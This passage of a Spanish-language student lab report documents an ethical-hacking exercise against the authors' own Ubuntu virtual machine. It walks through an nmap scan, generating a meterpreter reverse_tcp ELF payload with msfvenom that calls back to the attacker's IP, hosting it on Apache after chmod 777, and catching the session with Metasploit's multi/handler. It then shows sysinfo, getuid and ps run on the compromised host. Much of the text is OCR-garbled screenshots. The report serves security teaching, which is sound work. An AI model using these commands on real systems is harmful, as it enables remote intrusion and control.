archivos comience.

Listo para instalar X

Revise sus elecciones

General
Configuracién del disco e
guracion det dis Ubuntu
= Disco de instalacion VBOX HARDDISK sda
/ Aplicaciones Seleccion predeterminada
Seguridad y mas
Cifrado del disco Ninguna
Software propietario Contreladores

Particiones

particion sda1 creada
particion sda2 formateada como ext4 utilizada para /

Atrss . AR

llustracion 30-Revision y Finalizacion de la Instalacion

5.1.7 Finalizacion de la Instalacion

En este apartado, el instalador de Ubuntu notificé que la instalacion se habia completado
con €xito. Se presentd un mensaje claro: "Ubuntu 24.04.3 LTS esta instalado y listo para

usarse'.

Con la instalacion completada, se dan dos opciones:

e Continuar probando: Permite continuar usando el sistema en modo "live" (con los

cambios temporales).
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o Reiniciar ahora: Esta opcion es la mas recomendada para completar el proceso. Al
seleccionar Reiniciar ahora, la maquina virtual se reinicid, cargando el sistema operativo

desde el disco duro virtual que acababa de ser configurado.

C—

Ubuntu 24.04.3 LTS estd instalado vy listo para usarse

Relnicie para completar la instalacién o continuar las pruebas.
Los cambios que realice no se guardaran.

Hustracion 31-Finalizacion de la Instalacion

5.2 Configuracion de Red en la Maquina Virtual

Una vez que se completo la instalacion, el siguiente paso fue configurar la red de la
maquina virtual para que pudiera comunicarse con la maquina de ataque. Esto es esencial para

poder realizar escaneos y lanzar exploits.

Se accedi6 a la configuracion de la maquina virtual en VirtualBox y se naveg6 a la

seccion de Red. El investigador seleccion6 la opcion Red NAT para el Adaptador 1.
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&3 Ubuntu - Settings - O
Basic M Search settings £
E General Red
Adaptador 1 Adaptador 2 Adaptador 3 Adaptador 4
Sistema g E E E
Hakiliicr adeptader de red
M| Pantaita
Conectado a:  Red MAT
@I Almacenamiento Mombre: Red_semestred_2025-1 v
(‘D:' Audio Tipo de edaptador:  Intel PRO/ 1000 MT Desktop (82540EM)
Modo promiscuo:  Denegar v
) Red
Direccidn MAC: (800Z7YEACEE
@ Puertos serie B Cable conectado
ﬁ USB
I___I Carpetas compartidas Puertos serie
Puerto 1 Puerto 2 Puerto 3 Puerto 4
Ifl Interfaz de usuario
Enable Seriai Port
Aceptar Cancelar Ayuda

llustracion 32-Configuracion de Red en la Mdaquina Virtual

5.3 Escaneo y Reconocimiento de la Maquina Linux

Con la maquina de ataque ya lista, el siguiente paso fue realizar un escaneo detallado a la
maquina objetivo, que en este caso es un sistema Ubuntu. El objetivo de esta fase de

reconocimiento es identificar los servicios activos y sus versiones.

Se utiliz6 una herramienta de escaneo de red para sondear la direccion IP de la victima,

178.90.90.11. Los resultados del escaneo proporcionaron la siguiente informacion clave:
o Puertos Abiertos y Servicios: El escaneo confirm¢ la presencia de tres puertos abiertos:
o Puerto 21: Identificado como un servicio FTP (vsftpd 3.0.5).

o Puerto 22: Correspondiente al servicio SSH (OpenSSH 9.6p1).
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o Puerto 80: Un servidor web HTTP (Apache httpd 2.4.58).

L.

178.98.98.11

Nmap scan re
Host is up (
Not shown: 99
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.8.5
open ssh : H 9.6p1 Ubuntu 3ubuntul3.13 (Ubuntu Linux; protoco

-

88/tcp open o ache y 8 ((Ubuntu))
MAC Address: JI9E:ACIBE ( ystemtechnik/Oracle VirtualBox virtual N

IC)
Device type: general purpose
Ru -
CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
S details: Linux 4.15 - 5.19
¢« Distance: 1 hop
e Info: 05s: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

and Service detection performed. Please report any incorrec
://nmap.org/submit/
done: 1 IP address (1 host up) scanned in 11.92 seconds

llustracion 33-Escaneo y Reconocimiento de la Maquina Linux

5.4 Creacion de directorio

El primer paso a realizar para poder lograr este exploit, es crear el directorio llamado salsa en el
cual vamos a alojar el ejecutable, para posteriormente subirlo a apache y que se descargue en

Ubuntu.

~

[sud&j;zontraseﬁa para yeiber:
/home/yeiber

salsa
mkdir: cannot create directory ‘salsa’: El fichero ya existe

llustracion 34-Creacion de directorio
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5.5 Generacion del ejecutable malicioso con msfvenom

El siguiente paso consistio en la creacion de un archivo ejecutable malicioso que se
utilizaria para establecer una conexion inversa hacia la maquina atacante (Kali Linux). Para ello,

se empled la herramienta msfvenom.

-p linux/x64/meterpreter/reverse_tcp: Indica el payload que generaré una sesion

meterpreter en Linux, arquitectura de 64 bits, usando una conexion inversa TCP.

e LHOST=178.90.90.6: Direccion IP de la méaquina atacante (Kali Linux) que recibira la

conexion.
e LPORT=4778: Puerto configurado para escuchar la conexion inversa.
o -felf: Define que el archivo de salida tendra formato ELF, propio de sistemas Linux.

o > /home/yeiber/salsa/charrupi.elf: Ruta de destino y nombre del archivo generado.

/home/yeiber
f linux/x64/meterpreter/reverse_tcp LHOST=178.90.90.6 LPORT=477
8 -f elf > /home/yeiber/salsa/charrupi.elf

[-] No platform was selected, choosing Msf::Module::Platform::Linux from the
payload

[-] No arch selected, selecting arch: x64 from the payload

No encoder specified, outputting raw payload

Payload size: 130 bytes

Final size of elf file: 250 bytes

llustracion 35-Generacion del ejecutable malicioso con msfvenom
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5.6 Permisos y directorios

En esta etapa se otorgan permisos completos al directorio /var/www/html mediante
chmod 777, permitiendo asi alojar archivos en el servidor web; posteriormente se accede al
directorio /home/yeiber/salsa, donde se verifica con Is la existencia del payload charrupi.elf
generado previamente, y finalmente se cambia al directorio /var/www/html, preparando el
entorno para mover el archivo malicioso al servidor web y dejarlo disponible para su ejecucion
en la maquina victima.

/homg/yfiber
"/ woi /html

/home/yeiber
/home/yeiber/salsa

/home/yeiber/salsa
/home/yeiber/salsa

/home/yeiber/salsa

charrupi.elf

/home/yeiber/salsa
/var/wwi/html

llustracion 36-Permisos y directorios

5.7 Configuracion y Lanzamiento del Exploit en Metasploit

En esta fase se emplea Metasploit Framework configurando el modulo
exploit/multi/handler con el payload linux/x64/meterpreter/reverse_tcp, definiendo como
direccion local (LHOST) la 178.90.90.6 y el puerto (LPORT) 4778. Al ejecutar run, el

handler inicia la escucha y, tras recibir la conexion desde la maquina victima (178.90.90.11),
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se establece exitosamente una sesion Meterpreter, confirmando el acceso remoto al sistema

comprometido y quedando lista para la interaccion con comandos avanzados.

2519 exploits - 1296 auxiliary - 431 post
1610 payloads - 49 encoders - 13 nops
9

evasion

Metasploit Documentation: https://docs.metasploit.com/

msf6 > use exploit/multi/handler
Using configured payload generic/shell_reverse_tcp
msf6 exploit( ) > set payload linux/x64/meterpreter/reverse_tcp
payload = linux/x64/meterpreter/reverse_tcp
msf6 exploit( ) > set LHOST 178.90.90.6

LHOST = 178.90.90.6
msf6 exploit( ) > set LPORT 4778
LPORT = 4778
msf6 exploit( ) > run
Started reverse TCP handler on 178.90.90.6:4778
Sending stage (3045380 bytes) to 178.90.90.11
Meterpreter session 1 opened (178.90.90.6:4778 — 178.90.90.11:34542) at
2025-09-02 23:43:56 -0500

meterpreter >
meterpreter >
meterpreter > |j

llustracion 37-Configuracion y Lanzamiento del Exploit en Metasploit

5.8 Verificacion del Sistema Comprometido
Una vez que se establecio la sesion Meterpreter, se procedio a verificar el accesoy a
recopilar informacion clave sobre el sistema objetivo.

Se utilizaron los siguientes comandos para este propdsito:

o sysinfo: Este comando mostr6 informacion detallada sobre el sistema operativo
comprometido. La salida confirmé que la méquina tiene la direccion IP 178.90.90.11. El

sistema operativo es Ubuntu 24.04 (Linux 6.14.0-29-generic) con arquitectura x64.
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o getuid: Este comando se utilizo para obtener el nombre del usuario con el que se habia
logrado el acceso. La respuesta de la terminal fue Server username: victima,
confirmando que se habia accedido con éxito a la cuenta de usuario creada durante la

instalacion del sistema.

meterpreter >

meterpreter >

meterpreter > sysinfo

Computer : 178.90.90.11

0S : Ubuntu 24.04 (Linux 6.14.0-29-generic)

Architecture : x64
BuildTuple : x86_64-1linux-musl
Meterpreter : x64/linux

meterpreter > getuid
Server username: victima

llustracion 38-Verificacion del Sistema Comprometido

5.9 Listar procesos

En este apartado y una vez en meterpreter, con el comando PS, se listan todos los

procesos activos actualmente en la maquina onjetivo.
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meterpreter > ps

Process List

Name

systemd
[kthreadd]
[pool_workque
ue_release]
[kworker/R-rc
u_gpl
[kworker/R-sy
nc_wq]
[kworker/R-kv
free_rcu_recl
aim]
[kworker/R-sl
ub_flushwg]
[kworker/R-ne
tns]
[kworker/0:0H
-kblockd]
[kworker/ul2:
@-ipv6_addrco
nf]

llustracion 39-Listar procesos

En este apartado se puede apreciar lo mismos, pero de forma grafica y directamente en

Ubuntu y podemos apreciar el ejecutable charrupi.elf, el cual se encuentra activo.

: i= Procesos () Recursos Sistemas de a... Q = - o x
I@at—spiz—registryd victima 0,00 1985  655,4kB N/D
[Eat-spi-bus-launcher vickima 0,00 1898  655,4kB N/D

@ bash victima 0,00 14370 1,3MB N/D

[ charrupi.elf victima 0,00 14420 3,1 MB 4,1 kB
[Ecrashhelper victima 0,00 11142  393,2kB N/D

[E dbus-daemon victima 0,00 1698 2,2 MB N/D
[Edbus-daemon victima 0,00 1912  393,2kB N/D
[Z]dconf-service victima 0,00 2365  524,3kB 77.8kB 18(
[Jevolution-addressbook-factory victima 0,00 2309 3,9MB 5,1 MB 3¢
Elevolution-alarm-notify victima 0,00 2086 13,9 MB 3,3MB
[levolution-calendar-Factory victima 0,00 2269 3,4 MB 4,6 MB

[l evolution-source-registry victima 0,00 2025 8,5MB 19,0 MB

@ firefox victima 0,00 11004 2223MB 1,8 MB 157,
[Eforkserver victima 0,00 11225 3,3 MB N/D

[ gcr-ssh-agent victima 0,00 1838  655,4kB 65,5 kB

[ gdm-wayland-session vickima 0,00 1744 393,2kB N/D

Eajs victima 0,00 2035 4,9 MB N/D
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4. CONCLUSION

Este ejercicio de laboratorio demostrd de forma muy clara que los sistemas que no estan
actualizados son un riesgo. Usando herramientas comunes que se encuentran en el mundo de la
ciberseguridad, pudimos entrar en los sistemas de Windows XP, Windows Server 2003 y Ubuntu.

Esto nos permiti6 ver lo vulnerables que son cuando no tienen las defensas adecuadas.
Logramos el objetivo principal:

o Tomamos el control total: No solo entramos, sino que conseguimos los permisos mas

altos para hacer lo que quisiéramos en las maquinas.

o Fuimos mas alla: Pudimos sacar las contrasenas, descifrarlas, mantener el acceso sin ser

detectados y hasta crear carpetas para demostrar que teniamos el control total del sistema.

e La gran leccion: Este informe es un recordatorio de por qué es tan importante la
seguridad. Nos ensefia que las pruebas de hackeo ético no son solo un juego; son una

forma de encontrar fallos antes de que alguien mas los encuentre para hacer dafio.

En resumen, los resultados de este trabajo confirman que incluso las vulnerabilidades
mas antiguas siguen siendo una puerta abierta para cualquiera. Un sistema sin parches es como
una casa con la puerta sin seguro. Este informe sirve como una guia para entender esos riesgos y

tomar medidas para proteger los sistemas de verdad.
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